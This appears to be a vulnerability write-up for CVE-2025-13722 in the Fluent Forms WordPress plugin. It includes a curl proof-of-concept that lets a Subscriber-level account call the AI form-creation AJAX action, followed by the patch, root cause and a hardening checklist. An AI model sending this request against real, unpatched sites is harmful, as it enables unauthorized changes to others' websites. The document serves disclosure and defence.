The Exploit
Attacker needs any authenticated WordPress account with Subscriber-level access or higher.
curl -i -X POST "https://TARGET/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: wordpress_logged_in_example=SUBSCRIBER_COOKIE" \
--data "action=fluentform_ai_create_form&_wpnonce=SUBSCRIBER_NONCE&query=Create+a+contact+form+with+name+and+email&additionalQuery=Include+a+message+field"
The server responds with a successful AJAX JSON reply and a new Fluent Forms entry is created in WordPress. The attacker can abuse the publicly exposed fluentform_ai_create_form endpoint to generate arbitrary forms without having the Fluent Forms management capability.
What the Patch Did
Before:
Acl::verifyNonce();
After:
Acl::verify('fluentform_forms_manager');
The patch replaced a standalone nonce validation call with a capability-based authorization check using Acl::verify('fluentform_forms_manager'), ensuring only users with the Fluent Forms manager capability can invoke the AI form creation AJAX action.
Root Cause
This is an authorization bypass (CWE-639): the AJAX handler for action=fluentform_ai_create_form accepted authenticated requests after Acl::verifyNonce(), which only proves the request came from a valid session and is not CSRF. The attacker-controlled POST parameters query and additionalQuery then reached the AI form creation flow unchecked from a capability standpoint. Since any logged-in Subscriber could call the publicly exposed WordPress AJAX endpoint, the trust boundary between authenticated user and form-management capability was never enforced.
Why It Works
The load-bearing fix is the new line Acl::verify('fluentform_forms_manager');. Without that line, the bug remains exploitable because the handler still allows any logged-in user past Acl::verifyNonce(). The added input-length checks on query and additionalQuery are defensive hardening against oversized prompts, not the actual authorization control needed to stop unauthorized form creation.
Hardening Checklist
- Use WordPress capability checks for sensitive AJAX actions, e.g.
current_user_can('fluentform_forms_manager')orAcl::verify('fluentform_forms_manager'). - Keep CSRF protection and authorization separate: pair
check_ajax_referer()/Acl::verifyNonce()with a capability check before processing the request. - For public AJAX endpoints, validate the
actioncaller with bothis_user_logged_in()and explicit capability checks. - Apply explicit length limits to user-supplied text fields using functions like
strlen()before passing them to external services. - Return failure early with
wp_send_json_error()when authorization fails, rather than letting request processing continue.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-13722